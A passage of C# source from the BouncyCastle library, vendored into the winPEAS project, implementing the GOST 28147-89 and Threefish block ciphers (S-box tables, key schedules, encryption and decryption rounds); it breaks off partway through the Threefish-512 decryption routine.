0x4,0xB,0xA,0x0,0x7,0x2,0x1,0xD,0x3,0x6,0x8,0x5,0x9,0xC,0xF,0xE, 0xD,0xB,0x4,0x1,0x3,0xF,0x5,0x9,0x0,0xA,0xE,0x7,0x6,0x8,0x2,0xC, 0x1,0xF,0xD,0x0,0x5,0x7,0xA,0x4,0x9,0x2,0x3,0xE,0x6,0xB,0x8,0xC }; private static readonly byte[] DSbox_A = { 0xA,0x4,0x5,0x6,0x8,0x1,0x3,0x7,0xD,0xC,0xE,0x0,0x9,0x2,0xB,0xF, 0x5,0xF,0x4,0x0,0x2,0xD,0xB,0x9,0x1,0x7,0x6,0x3,0xC,0xE,0xA,0x8, 0x7,0xF,0xC,0xE,0x9,0x4,0x1,0x0,0x3,0xB,0x5,0x2,0x6,0xA,0x8,0xD, 0x4,0xA,0x7,0xC,0x0,0xF,0x2,0x8,0xE,0x1,0x6,0x5,0xD,0xB,0x9,0x3, 0x7,0x6,0x4,0xB,0x9,0xC,0x2,0xA,0x1,0x8,0x0,0xE,0xF,0xD,0x3,0x5, 0x7,0x6,0x2,0x4,0xD,0x9,0xF,0x0,0xA,0x1,0x5,0xB,0x8,0xE,0xC,0x3, 0xD,0xE,0x4,0x1,0x7,0x0,0x5,0xA,0x3,0xC,0x8,0xF,0x6,0x2,0x9,0xB, 0x1,0x3,0xA,0x9,0x5,0xB,0x4,0xF,0x8,0x6,0x7,0xE,0xD,0x0,0x2,0xC }; // // pre-defined sbox table // private static readonly IDictionary sBoxes = Platform.CreateHashtable(); static Gost28147Engine() { AddSBox("Default", Sbox_Default); AddSBox("E-TEST", ESbox_Test); AddSBox("E-A", ESbox_A); AddSBox("E-B", ESbox_B); AddSBox("E-C", ESbox_C); AddSBox("E-D", ESbox_D); AddSBox("D-TEST", DSbox_Test); AddSBox("D-A", DSbox_A); } private static void AddSBox(string sBoxName, byte[] sBox) { sBoxes.Add(Platform.ToUpperInvariant(sBoxName), sBox); } /** * standard constructor. */ public Gost28147Engine() { } /** * initialise an Gost28147 cipher. * * @param forEncryption whether or not we are for encryption. * @param parameters the parameters required to set up the cipher. * @exception ArgumentException if the parameters argument is inappropriate. */ public virtual void Init( bool forEncryption, ICipherParameters parameters) { if (parameters is ParametersWithSBox) { ParametersWithSBox param = (ParametersWithSBox)parameters; // // Set the S-Box // byte[] sBox = param.GetSBox(); if (sBox.Length != Sbox_Default.Length) throw new ArgumentException("invalid S-box passed to GOST28147 init"); this.S = Arrays.Clone(sBox); // // set key if there is one // if (param.Parameters != null) { workingKey = generateWorkingKey(forEncryption, ((KeyParameter)param.Parameters).GetKey()); } } else if (parameters is KeyParameter) { workingKey = generateWorkingKey(forEncryption, ((KeyParameter)parameters).GetKey()); } else if (parameters != null) { throw new ArgumentException("invalid parameter passed to Gost28147 init - " + Platform.GetTypeName(parameters)); } } public virtual string AlgorithmName { get { return "Gost28147"; } } public virtual bool IsPartialBlockOkay { get { return false; } } public virtual int GetBlockSize() { return BlockSize; } public virtual int ProcessBlock( byte[] input, int inOff, byte[] output, int outOff) { if (workingKey == null) throw new InvalidOperationException("Gost28147 engine not initialised"); Check.DataLength(input, inOff, BlockSize, "input buffer too short"); Check.OutputLength(output, outOff, BlockSize, "output buffer too short"); Gost28147Func(workingKey, input, inOff, output, outOff); return BlockSize; } public virtual void Reset() { } private int[] generateWorkingKey( bool forEncryption, byte[] userKey) { this.forEncryption = forEncryption; if (userKey.Length != 32) { throw new ArgumentException("Key length invalid. Key needs to be 32 byte - 256 bit!!!"); } int[] key = new int[8]; for (int i = 0; i != 8; i++) { key[i] = bytesToint(userKey, i * 4); } return key; } private int Gost28147_mainStep(int n1, int key) { int cm = (key + n1); // CM1 // S-box replacing int om = S[0 + ((cm >> (0 * 4)) & 0xF)] << (0 * 4); om += S[16 + ((cm >> (1 * 4)) & 0xF)] << (1 * 4); om += S[32 + ((cm >> (2 * 4)) & 0xF)] << (2 * 4); om += S[48 + ((cm >> (3 * 4)) & 0xF)] << (3 * 4); om += S[64 + ((cm >> (4 * 4)) & 0xF)] << (4 * 4); om += S[80 + ((cm >> (5 * 4)) & 0xF)] << (5 * 4); om += S[96 + ((cm >> (6 * 4)) & 0xF)] << (6 * 4); om += S[112 + ((cm >> (7 * 4)) & 0xF)] << (7 * 4); // return om << 11 | om >>> (32-11); // 11-leftshift int omLeft = om << 11; int omRight = (int)(((uint)om) >> (32 - 11)); // Note: Casts required to get unsigned bit rotation return omLeft | omRight; } private void Gost28147Func( int[] workingKey, byte[] inBytes, int inOff, byte[] outBytes, int outOff) { int N1, N2, tmp; //tmp -> for saving N1 N1 = bytesToint(inBytes, inOff); N2 = bytesToint(inBytes, inOff + 4); if (this.forEncryption) { for (int k = 0; k < 3; k++) // 1-24 steps { for (int j = 0; j < 8; j++) { tmp = N1; int step = Gost28147_mainStep(N1, workingKey[j]); N1 = N2 ^ step; // CM2 N2 = tmp; } } for (int j = 7; j > 0; j--) // 25-31 steps { tmp = N1; N1 = N2 ^ Gost28147_mainStep(N1, workingKey[j]); // CM2 N2 = tmp; } } else //decrypt { for (int j = 0; j < 8; j++) // 1-8 steps { tmp = N1; N1 = N2 ^ Gost28147_mainStep(N1, workingKey[j]); // CM2 N2 = tmp; } for (int k = 0; k < 3; k++) //9-31 steps { for (int j = 7; j >= 0; j--) { if ((k == 2) && (j == 0)) { break; // break 32 step } tmp = N1; N1 = N2 ^ Gost28147_mainStep(N1, workingKey[j]); // CM2 N2 = tmp; } } } N2 = N2 ^ Gost28147_mainStep(N1, workingKey[0]); // 32 step (N1=N1) intTobytes(N1, outBytes, outOff); intTobytes(N2, outBytes, outOff + 4); } //array of bytes to type int private static int bytesToint( byte[] inBytes, int inOff) { return (int)((inBytes[inOff + 3] << 24) & 0xff000000) + ((inBytes[inOff + 2] << 16) & 0xff0000) + ((inBytes[inOff + 1] << 8) & 0xff00) + (inBytes[inOff] & 0xff); } //int to array of bytes private static void intTobytes( int num, byte[] outBytes, int outOff) { outBytes[outOff + 3] = (byte)(num >> 24); outBytes[outOff + 2] = (byte)(num >> 16); outBytes[outOff + 1] = (byte)(num >> 8); outBytes[outOff] = (byte)num; } /** * Return the S-Box associated with SBoxName * @param sBoxName name of the S-Box * @return byte array representing the S-Box */ public static byte[] GetSBox( string sBoxName) { byte[] sBox = (byte[])sBoxes[Platform.ToUpperInvariant(sBoxName)]; if (sBox == null) { throw new ArgumentException("Unknown S-Box - possible types: " + "\"Default\", \"E-Test\", \"E-A\", \"E-B\", \"E-C\", \"E-D\", \"D-Test\", \"D-A\"."); } return Arrays.Clone(sBox); } public static string GetSBoxName(byte[] sBox) { foreach (string name in sBoxes.Keys) { byte[] sb = (byte[])sBoxes[name]; if (Arrays.AreEqual(sb, sBox)) { return name; } } throw new ArgumentException("SBOX provided did not map to a known one"); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/engines/ThreefishEngine.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.parameters; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.engines { /// /// Implementation of the Threefish tweakable large block cipher in 256, 512 and 1024 bit block /// sizes. /// /// /// This is the 1.3 version of Threefish defined in the Skein hash function submission to the NIST /// SHA-3 competition in October 2010. ///

    /// Threefish was designed by Niels Ferguson - Stefan Lucks - Bruce Schneier - Doug Whiting - Mihir /// Bellare - Tadayoshi Kohno - Jon Callas - Jesse Walker. ///

    /// This implementation inlines all round functions, unrolls 8 rounds, and uses 1.2k of static tables /// to speed up key schedule injection.
    /// 2 x block size state is retained by each cipher instance. /// public class ThreefishEngine : IBlockCipher { ///

    /// 256 bit block size - Threefish-256 /// public const int BLOCKSIZE_256 = 256; /// /// 512 bit block size - Threefish-512 /// public const int BLOCKSIZE_512 = 512; /// /// 1024 bit block size - Threefish-1024 /// public const int BLOCKSIZE_1024 = 1024; /** * Size of the tweak in bytes (always 128 bit/16 bytes) */ private const int TWEAK_SIZE_BYTES = 16; private const int TWEAK_SIZE_WORDS = TWEAK_SIZE_BYTES / 8; /** * Rounds in Threefish-256 */ private const int ROUNDS_256 = 72; /** * Rounds in Threefish-512 */ private const int ROUNDS_512 = 72; /** * Rounds in Threefish-1024 */ private const int ROUNDS_1024 = 80; /** * Max rounds of any of the variants */ private const int MAX_ROUNDS = ROUNDS_1024; /** * Key schedule parity constant */ private const ulong C_240 = 0x1BD11BDAA9FC1A22L; /* Pre-calculated modulo arithmetic tables for key schedule lookups */ private static readonly int[] MOD9 = new int[MAX_ROUNDS]; private static readonly int[] MOD17 = new int[MOD9.Length]; private static readonly int[] MOD5 = new int[MOD9.Length]; private static readonly int[] MOD3 = new int[MOD9.Length]; static ThreefishEngine() { for (int i = 0; i < MOD9.Length; i++) { MOD17[i] = i % 17; MOD9[i] = i % 9; MOD5[i] = i % 5; MOD3[i] = i % 3; } } /** * Block size in bytes */ private readonly int blocksizeBytes; /** * Block size in 64 bit words */ private readonly int blocksizeWords; /** * Buffer for byte oriented processBytes to call internal word API */ private readonly ulong[] currentBlock; /** * Tweak bytes (2 byte t1,t2, calculated t3 and repeat of t1,t2 for modulo free lookup */ private readonly ulong[] t = new ulong[5]; /** * Key schedule words */ private readonly ulong[] kw; /** * The internal cipher implementation (varies by blocksize) */ private readonly ThreefishCipher cipher; private bool forEncryption; /// /// Constructs a new Threefish cipher, with a specified block size. /// /// the block size in bits, one of , , /// . public ThreefishEngine(int blocksizeBits) { this.blocksizeBytes = (blocksizeBits / 8); this.blocksizeWords = (this.blocksizeBytes / 8); this.currentBlock = new ulong[blocksizeWords]; /* * Provide room for original key words, extended key word and repeat of key words for modulo * free lookup of key schedule words. */ this.kw = new ulong[2 * blocksizeWords + 1]; switch (blocksizeBits) { case BLOCKSIZE_256: cipher = new Threefish256Cipher(kw, t); break; case BLOCKSIZE_512: cipher = new Threefish512Cipher(kw, t); break; case BLOCKSIZE_1024: cipher = new Threefish1024Cipher(kw, t); break; default: throw new ArgumentException( "Invalid blocksize - Threefish is defined with block size of 256, 512, or 1024 bits"); } } /// /// Initialise the engine. /// /// Initialise for encryption if true, for decryption if false. /// an instance of or (to /// use a 0 tweak) public virtual void Init(bool forEncryption, ICipherParameters parameters) { byte[] keyBytes; byte[] tweakBytes; if (parameters is TweakableBlockCipherParameters) { TweakableBlockCipherParameters tParams = (TweakableBlockCipherParameters)parameters; keyBytes = tParams.Key.GetKey(); tweakBytes = tParams.Tweak; } else if (parameters is KeyParameter) { keyBytes = ((KeyParameter)parameters).GetKey(); tweakBytes = null; } else { throw new ArgumentException("Invalid parameter passed to Threefish init - " + Platform.GetTypeName(parameters)); } ulong[] keyWords = null; ulong[] tweakWords = null; if (keyBytes != null) { if (keyBytes.Length != this.blocksizeBytes) { throw new ArgumentException("Threefish key must be same size as block (" + blocksizeBytes + " bytes)"); } keyWords = new ulong[blocksizeWords]; for (int i = 0; i < keyWords.Length; i++) { keyWords[i] = BytesToWord(keyBytes, i * 8); } } if (tweakBytes != null) { if (tweakBytes.Length != TWEAK_SIZE_BYTES) { throw new ArgumentException("Threefish tweak must be " + TWEAK_SIZE_BYTES + " bytes"); } tweakWords = new ulong[] { BytesToWord(tweakBytes, 0), BytesToWord(tweakBytes, 8) }; } Init(forEncryption, keyWords, tweakWords); } /// /// Initialise the engine, specifying the key and tweak directly. /// /// the cipher mode. /// the words of the key, or null to use the current key. /// the 2 word (128 bit) tweak, or null to use the current tweak. internal void Init(bool forEncryption, ulong[] key, ulong[] tweak) { this.forEncryption = forEncryption; if (key != null) { SetKey(key); } if (tweak != null) { SetTweak(tweak); } } private void SetKey(ulong[] key) { if (key.Length != this.blocksizeWords) { throw new ArgumentException("Threefish key must be same size as block (" + blocksizeWords + " words)"); } /* * Full subkey schedule is deferred to execution to avoid per cipher overhead (10k for 512, * 20k for 1024). * * Key and tweak word sequences are repeated, and static MOD17/MOD9/MOD5/MOD3 calculations * used, to avoid expensive mod computations during cipher operation. */ ulong knw = C_240; for (int i = 0; i < blocksizeWords; i++) { kw[i] = key[i]; knw = knw ^ kw[i]; } kw[blocksizeWords] = knw; Array.Copy(kw, 0, kw, blocksizeWords + 1, blocksizeWords); } private void SetTweak(ulong[] tweak) { if (tweak.Length != TWEAK_SIZE_WORDS) { throw new ArgumentException("Tweak must be " + TWEAK_SIZE_WORDS + " words."); } /* * Tweak schedule partially repeated to avoid mod computations during cipher operation */ t[0] = tweak[0]; t[1] = tweak[1]; t[2] = t[0] ^ t[1]; t[3] = t[0]; t[4] = t[1]; } public virtual string AlgorithmName { get { return "Threefish-" + (blocksizeBytes * 8); } } public virtual bool IsPartialBlockOkay { get { return false; } } public virtual int GetBlockSize() { return blocksizeBytes; } public virtual void Reset() { } public virtual int ProcessBlock(byte[] inBytes, int inOff, byte[] outBytes, int outOff) { if ((outOff + blocksizeBytes) > outBytes.Length) { throw new DataLengthException("Output buffer too short"); } if ((inOff + blocksizeBytes) > inBytes.Length) { throw new DataLengthException("Input buffer too short"); } for (int i = 0; i < blocksizeBytes; i += 8) { currentBlock[i >> 3] = BytesToWord(inBytes, inOff + i); } ProcessBlock(this.currentBlock, this.currentBlock); for (int i = 0; i < blocksizeBytes; i += 8) { WordToBytes(this.currentBlock[i >> 3], outBytes, outOff + i); } return blocksizeBytes; } /// /// Process a block of data represented as 64 bit words. /// /// the number of 8 byte words processed (which will be the same as the block size). /// a block sized buffer of words to process. /// a block sized buffer of words to receive the output of the operation. /// if either the input or output is not block sized /// if this engine is not initialised internal int ProcessBlock(ulong[] inWords, ulong[] outWords) { if (kw[blocksizeWords] == 0) { throw new InvalidOperationException("Threefish engine not initialised"); } if (inWords.Length != blocksizeWords) { throw new DataLengthException("Input buffer too short"); } if (outWords.Length != blocksizeWords) { throw new DataLengthException("Output buffer too short"); } if (forEncryption) { cipher.EncryptBlock(inWords, outWords); } else { cipher.DecryptBlock(inWords, outWords); } return blocksizeWords; } /// /// Read a single 64 bit word from input in LSB first order. /// internal static ulong BytesToWord(byte[] bytes, int off) { if ((off + 8) > bytes.Length) { // Help the JIT avoid index checks throw new ArgumentException(); } ulong word = 0; int index = off; word = (bytes[index++] & 0xffUL); word |= (bytes[index++] & 0xffUL) << 8; word |= (bytes[index++] & 0xffUL) << 16; word |= (bytes[index++] & 0xffUL) << 24; word |= (bytes[index++] & 0xffUL) << 32; word |= (bytes[index++] & 0xffUL) << 40; word |= (bytes[index++] & 0xffUL) << 48; word |= (bytes[index++] & 0xffUL) << 56; return word; } /// /// Write a 64 bit word to output in LSB first order. /// internal static void WordToBytes(ulong word, byte[] bytes, int off) { if ((off + 8) > bytes.Length) { // Help the JIT avoid index checks throw new ArgumentException(); } int index = off; bytes[index++] = (byte)word; bytes[index++] = (byte)(word >> 8); bytes[index++] = (byte)(word >> 16); bytes[index++] = (byte)(word >> 24); bytes[index++] = (byte)(word >> 32); bytes[index++] = (byte)(word >> 40); bytes[index++] = (byte)(word >> 48); bytes[index++] = (byte)(word >> 56); } /** * Rotate left + xor part of the mix operation. */ private static ulong RotlXor(ulong x, int n, ulong xor) { return ((x << n) | (x >> (64 - n))) ^ xor; } /** * Rotate xor + rotate right part of the unmix operation. */ private static ulong XorRotr(ulong x, int n, ulong xor) { ulong xored = x ^ xor; return (xored >> n) | (xored << (64 - n)); } private abstract class ThreefishCipher { /** * The extended + repeated tweak words */ protected readonly ulong[] t; /** * The extended + repeated key words */ protected readonly ulong[] kw; protected ThreefishCipher(ulong[] kw, ulong[] t) { this.kw = kw; this.t = t; } internal abstract void EncryptBlock(ulong[] block, ulong[] outWords); internal abstract void DecryptBlock(ulong[] block, ulong[] outWords); } private sealed class Threefish256Cipher : ThreefishCipher { /** * Mix rotation constants defined in Skein 1.3 specification */ private const int ROTATION_0_0 = 14, ROTATION_0_1 = 16; private const int ROTATION_1_0 = 52, ROTATION_1_1 = 57; private const int ROTATION_2_0 = 23, ROTATION_2_1 = 40; private const int ROTATION_3_0 = 5, ROTATION_3_1 = 37; private const int ROTATION_4_0 = 25, ROTATION_4_1 = 33; private const int ROTATION_5_0 = 46, ROTATION_5_1 = 12; private const int ROTATION_6_0 = 58, ROTATION_6_1 = 22; private const int ROTATION_7_0 = 32, ROTATION_7_1 = 32; public Threefish256Cipher(ulong[] kw, ulong[] t) : base(kw, t) { } internal override void EncryptBlock(ulong[] block, ulong[] outWords) { ulong[] kw = this.kw; ulong[] t = this.t; int[] mod5 = MOD5; int[] mod3 = MOD3; /* Help the JIT avoid index bounds checks */ if (kw.Length != 9) { throw new ArgumentException(); } if (t.Length != 5) { throw new ArgumentException(); } /* * Read 4 words of plaintext data, not using arrays for cipher state */ ulong b0 = block[0]; ulong b1 = block[1]; ulong b2 = block[2]; ulong b3 = block[3]; /* * First subkey injection. */ b0 += kw[0]; b1 += kw[1] + t[0]; b2 += kw[2] + t[1]; b3 += kw[3]; /* * Rounds loop, unrolled to 8 rounds per iteration. * * Unrolling to multiples of 4 avoids the mod 4 check for key injection, and allows * inlining of the permutations, which cycle every of 2 rounds (avoiding array * index/lookup). * * Unrolling to multiples of 8 avoids the mod 8 rotation constant lookup, and allows * inlining constant rotation values (avoiding array index/lookup). */ for (int d = 1; d < (ROUNDS_256 / 4); d += 2) { int dm5 = mod5[d]; int dm3 = mod3[d]; /* * 4 rounds of mix and permute. * * Permute schedule has a 2 round cycle, so permutes are inlined in the mix * operations in each 4 round block. */ b1 = RotlXor(b1, ROTATION_0_0, b0 += b1); b3 = RotlXor(b3, ROTATION_0_1, b2 += b3); b3 = RotlXor(b3, ROTATION_1_0, b0 += b3); b1 = RotlXor(b1, ROTATION_1_1, b2 += b1); b1 = RotlXor(b1, ROTATION_2_0, b0 += b1); b3 = RotlXor(b3, ROTATION_2_1, b2 += b3); b3 = RotlXor(b3, ROTATION_3_0, b0 += b3); b1 = RotlXor(b1, ROTATION_3_1, b2 += b1); /* * Subkey injection for first 4 rounds. */ b0 += kw[dm5]; b1 += kw[dm5 + 1] + t[dm3]; b2 += kw[dm5 + 2] + t[dm3 + 1]; b3 += kw[dm5 + 3] + (uint)d; /* * 4 more rounds of mix/permute */ b1 = RotlXor(b1, ROTATION_4_0, b0 += b1); b3 = RotlXor(b3, ROTATION_4_1, b2 += b3); b3 = RotlXor(b3, ROTATION_5_0, b0 += b3); b1 = RotlXor(b1, ROTATION_5_1, b2 += b1); b1 = RotlXor(b1, ROTATION_6_0, b0 += b1); b3 = RotlXor(b3, ROTATION_6_1, b2 += b3); b3 = RotlXor(b3, ROTATION_7_0, b0 += b3); b1 = RotlXor(b1, ROTATION_7_1, b2 += b1); /* * Subkey injection for next 4 rounds. */ b0 += kw[dm5 + 1]; b1 += kw[dm5 + 2] + t[dm3 + 1]; b2 += kw[dm5 + 3] + t[dm3 + 2]; b3 += kw[dm5 + 4] + (uint)d + 1; } /* * Output cipher state. */ outWords[0] = b0; outWords[1] = b1; outWords[2] = b2; outWords[3] = b3; } internal override void DecryptBlock(ulong[] block, ulong[] state) { ulong[] kw = this.kw; ulong[] t = this.t; int[] mod5 = MOD5; int[] mod3 = MOD3; /* Help the JIT avoid index bounds checks */ if (kw.Length != 9) { throw new ArgumentException(); } if (t.Length != 5) { throw new ArgumentException(); } ulong b0 = block[0]; ulong b1 = block[1]; ulong b2 = block[2]; ulong b3 = block[3]; for (int d = (ROUNDS_256 / 4) - 1; d >= 1; d -= 2) { int dm5 = mod5[d]; int dm3 = mod3[d]; /* Reverse key injection for second 4 rounds */ b0 -= kw[dm5 + 1]; b1 -= kw[dm5 + 2] + t[dm3 + 1]; b2 -= kw[dm5 + 3] + t[dm3 + 2]; b3 -= kw[dm5 + 4] + (uint)d + 1; /* Reverse second 4 mix/permute rounds */ b3 = XorRotr(b3, ROTATION_7_0, b0); b0 -= b3; b1 = XorRotr(b1, ROTATION_7_1, b2); b2 -= b1; b1 = XorRotr(b1, ROTATION_6_0, b0); b0 -= b1; b3 = XorRotr(b3, ROTATION_6_1, b2); b2 -= b3; b3 = XorRotr(b3, ROTATION_5_0, b0); b0 -= b3; b1 = XorRotr(b1, ROTATION_5_1, b2); b2 -= b1; b1 = XorRotr(b1, ROTATION_4_0, b0); b0 -= b1; b3 = XorRotr(b3, ROTATION_4_1, b2); b2 -= b3; /* Reverse key injection for first 4 rounds */ b0 -= kw[dm5]; b1 -= kw[dm5 + 1] + t[dm3]; b2 -= kw[dm5 + 2] + t[dm3 + 1]; b3 -= kw[dm5 + 3] + (uint)d; /* Reverse first 4 mix/permute rounds */ b3 = XorRotr(b3, ROTATION_3_0, b0); b0 -= b3; b1 = XorRotr(b1, ROTATION_3_1, b2); b2 -= b1; b1 = XorRotr(b1, ROTATION_2_0, b0); b0 -= b1; b3 = XorRotr(b3, ROTATION_2_1, b2); b2 -= b3; b3 = XorRotr(b3, ROTATION_1_0, b0); b0 -= b3; b1 = XorRotr(b1, ROTATION_1_1, b2); b2 -= b1; b1 = XorRotr(b1, ROTATION_0_0, b0); b0 -= b1; b3 = XorRotr(b3, ROTATION_0_1, b2); b2 -= b3; } /* * First subkey uninjection. */ b0 -= kw[0]; b1 -= kw[1] + t[0]; b2 -= kw[2] + t[1]; b3 -= kw[3]; /* * Output cipher state. */ state[0] = b0; state[1] = b1; state[2] = b2; state[3] = b3; } } private sealed class Threefish512Cipher : ThreefishCipher { /** * Mix rotation constants defined in Skein 1.3 specification */ private const int ROTATION_0_0 = 46, ROTATION_0_1 = 36, ROTATION_0_2 = 19, ROTATION_0_3 = 37; private const int ROTATION_1_0 = 33, ROTATION_1_1 = 27, ROTATION_1_2 = 14, ROTATION_1_3 = 42; private const int ROTATION_2_0 = 17, ROTATION_2_1 = 49, ROTATION_2_2 = 36, ROTATION_2_3 = 39; private const int ROTATION_3_0 = 44, ROTATION_3_1 = 9, ROTATION_3_2 = 54, ROTATION_3_3 = 56; private const int ROTATION_4_0 = 39, ROTATION_4_1 = 30, ROTATION_4_2 = 34, ROTATION_4_3 = 24; private const int ROTATION_5_0 = 13, ROTATION_5_1 = 50, ROTATION_5_2 = 10, ROTATION_5_3 = 17; private const int ROTATION_6_0 = 25, ROTATION_6_1 = 29, ROTATION_6_2 = 39, ROTATION_6_3 = 43; private const int ROTATION_7_0 = 8, ROTATION_7_1 = 35, ROTATION_7_2 = 56, ROTATION_7_3 = 22; internal Threefish512Cipher(ulong[] kw, ulong[] t) : base(kw, t) { } internal override void EncryptBlock(ulong[] block, ulong[] outWords) { ulong[] kw = this.kw; ulong[] t = this.t; int[] mod9 = MOD9; int[] mod3 = MOD3; /* Help the JIT avoid index bounds checks */ if (kw.Length != 17) { throw new ArgumentException(); } if (t.Length != 5) { throw new ArgumentException(); } /* * Read 8 words of plaintext data, not using arrays for cipher state */ ulong b0 = block[0]; ulong b1 = block[1]; ulong b2 = block[2]; ulong b3 = block[3]; ulong b4 = block[4]; ulong b5 = block[5]; ulong b6 = block[6]; ulong b7 = block[7]; /* * First subkey injection. */ b0 += kw[0]; b1 += kw[1]; b2 += kw[2]; b3 += kw[3]; b4 += kw[4]; b5 += kw[5] + t[0]; b6 += kw[6] + t[1]; b7 += kw[7]; /* * Rounds loop, unrolled to 8 rounds per iteration. * * Unrolling to multiples of 4 avoids the mod 4 check for key injection, and allows * inlining of the permutations, which cycle every of 4 rounds (avoiding array * index/lookup). * * Unrolling to multiples of 8 avoids the mod 8 rotation constant lookup, and allows * inlining constant rotation values (avoiding array index/lookup). */ for (int d = 1; d < (ROUNDS_512 / 4); d += 2) { int dm9 = mod9[d]; int dm3 = mod3[d]; /* * 4 rounds of mix and permute. * * Permute schedule has a 4 round cycle, so permutes are inlined in the mix * operations in each 4 round block. */ b1 = RotlXor(b1, ROTATION_0_0, b0 += b1); b3 = RotlXor(b3, ROTATION_0_1, b2 += b3); b5 = RotlXor(b5, ROTATION_0_2, b4 += b5); b7 = RotlXor(b7, ROTATION_0_3, b6 += b7); b1 = RotlXor(b1, ROTATION_1_0, b2 += b1); b7 = RotlXor(b7, ROTATION_1_1, b4 += b7); b5 = RotlXor(b5, ROTATION_1_2, b6 += b5); b3 = RotlXor(b3, ROTATION_1_3, b0 += b3); b1 = RotlXor(b1, ROTATION_2_0, b4 += b1); b3 = RotlXor(b3, ROTATION_2_1, b6 += b3); b5 = RotlXor(b5, ROTATION_2_2, b0 += b5); b7 = RotlXor(b7, ROTATION_2_3, b2 += b7); b1 = RotlXor(b1, ROTATION_3_0, b6 += b1); b7 = RotlXor(b7, ROTATION_3_1, b0 += b7); b5 = RotlXor(b5, ROTATION_3_2, b2 += b5); b3 = RotlXor(b3, ROTATION_3_3, b4 += b3); /* * Subkey injection for first 4 rounds. */ b0 += kw[dm9]; b1 += kw[dm9 + 1]; b2 += kw[dm9 + 2]; b3 += kw[dm9 + 3]; b4 += kw[dm9 + 4]; b5 += kw[dm9 + 5] + t[dm3]; b6 += kw[dm9 + 6] + t[dm3 + 1]; b7 += kw[dm9 + 7] + (uint)d; /* * 4 more rounds of mix/permute */ b1 = RotlXor(b1, ROTATION_4_0, b0 += b1); b3 = RotlXor(b3, ROTATION_4_1, b2 += b3); b5 = RotlXor(b5, ROTATION_4_2, b4 += b5); b7 = RotlXor(b7, ROTATION_4_3, b6 += b7); b1 = RotlXor(b1, ROTATION_5_0, b2 += b1); b7 = RotlXor(b7, ROTATION_5_1, b4 += b7); b5 = RotlXor(b5, ROTATION_5_2, b6 += b5); b3 = RotlXor(b3, ROTATION_5_3, b0 += b3); b1 = RotlXor(b1, ROTATION_6_0, b4 += b1); b3 = RotlXor(b3, ROTATION_6_1, b6 += b3); b5 = RotlXor(b5, ROTATION_6_2, b0 += b5); b7 = RotlXor(b7, ROTATION_6_3, b2 += b7); b1 = RotlXor(b1, ROTATION_7_0, b6 += b1); b7 = RotlXor(b7, ROTATION_7_1, b0 += b7); b5 = RotlXor(b5, ROTATION_7_2, b2 += b5); b3 = RotlXor(b3, ROTATION_7_3, b4 += b3); /* * Subkey injection for next 4 rounds. */ b0 += kw[dm9 + 1]; b1 += kw[dm9 + 2]; b2 += kw[dm9 + 3]; b3 += kw[dm9 + 4]; b4 += kw[dm9 + 5]; b5 += kw[dm9 + 6] + t[dm3 + 1]; b6 += kw[dm9 + 7] + t[dm3 + 2]; b7 += kw[dm9 + 8] + (uint)d + 1; } /* * Output cipher state. */ outWords[0] = b0; outWords[1] = b1; outWords[2] = b2; outWords[3] = b3; outWords[4] = b4; outWords[5] = b5; outWords[6] = b6; outWords[7] = b7; } internal override void DecryptBlock(ulong[] block, ulong[] state) { ulong[] kw = this.kw; ulong[] t = this.t; int[] mod9 = MOD9; int[] mod3 = MOD3; /* Help the JIT avoid index bounds checks */ if (kw.Length != 17) { throw new ArgumentException(); } if (t.Length != 5) { throw new ArgumentException(); } ulong b0 = block[0]; ulong b1 = block[1]; ulong b2 = block[2]; ulong b3 = block[3]; ulong b4 = block[4]; ulong b5 = block[5]; ulong b6 = block[6]; ulong b7 = block[7]; for (int d = (ROUNDS_512 / 4) - 1; d >= 1; d -= 2) { int dm9 = mod9[d]; int dm3 = mod3[d]; /* Reverse key injection for second 4 rounds */ b0 -= kw[dm9 + 1]; b1 -= kw[dm9 + 2]; b2 -= kw[dm9 + 3]; b3 -= kw[dm9 + 4]; b4 -= kw[dm9 + 5]; b5 -= kw[dm9 + 6] + t[dm3 + 1]; b6 -= kw[dm9 + 7] + t[dm3 + 2]; b7 -= kw[dm9 + 8] + (uint)d + 1; /* Reverse second 4 mix/permute rounds */ b1 = XorRotr(b1, ROTATION_7_0, b6); b6 -= b1; b7 = XorRotr(b7, ROTATION_7_1, b0); b0 -= b7; b5 = XorRotr(b5, ROTATION_7_2, b2); b2 -= b5; b3 = XorRotr(b3, ROTATION_7_3, b4); b4 -= b3; b1 = XorRotr(b1, ROTATION_6_0, b4); b4 -= b1; b3 = XorRotr(b3, ROTATION_6_1, b6); b6 -= b3; b5 = XorRotr(b5, ROTATION_6_2, b0); b0 -= b5; b7 = XorRotr(b7, ROTATION_6_3, b2); b2 -= b7; b1 = XorRotr(b1, ROTATION_5_0, b2); b2 -= b1; b7 = XorRotr(b7, ROTATION_5_1, b4); b4 -= b7; b5 = XorRotr(b5, ROTATION_5_2, b6); b6 -= b5; b3 = XorRotr(b3, ROTATION_5_3, b0); b0 -= b3; b1 = XorRotr(b1, ROTATION_4_0, b0); b0 -= b1; b3 = XorRotr(b3, ROTATION_4_1, b2); b2 -= b3; b5 = XorRotr(b5, ROTATION_4_2, b4); b4 -= b5; b7 = XorRotr(b7, ROTATION_4_3, b6); b6 -= b7; /* Reverse key injection for first 4 rounds */ b0 -= kw[dm9]; b1 -= kw[dm9 + 1]; b2 -= kw[dm9 + 2]; b3 -= kw[dm9 + 3]; b4 -= kw[dm9 + 4]; b5 -= kw[dm9 + 5] + t[dm3]; b6 -= kw[dm9 + 6] + t[dm3 + 1]; b7 -= kw[dm9 + 7] + (uint)d; /* Reverse first 4 mix/permute rounds */ b1 = XorRotr(b1, ROTATION_3_0, b6); b6 -= b1; b7 = XorRotr(b7, ROTATION_3_1, b0); b0 -= b7; b5 = XorRotr(b5, ROTATION_3_2, b2); b2 -= b5; b3 = XorRotr(b3, ROTATION_3_3, b4); b4 -= b3; b1 = XorRotr(b1, ROTATION_2_0, b4); b4 -= b1; b3 = XorRotr(b3, ROTATION_2_1, b6); b6 -= b3; b5 = XorRotr(b5, ROTATION_2_2, b0); b0 -= b5; b7 = XorRotr(b7, ROTATION_2_3, b2); b2 -= b7; b1 = XorRotr(b1, ROTATION_1_0, b2); b2 -= b1; b7 = XorRotr(b7, ROTATION_1_1, b4); b4 -= b7; b5 = XorRotr(b5, ROTATION_1_2, b6); b6 -= b5; b3 = XorRotr(b3, ROTATION_1_3, 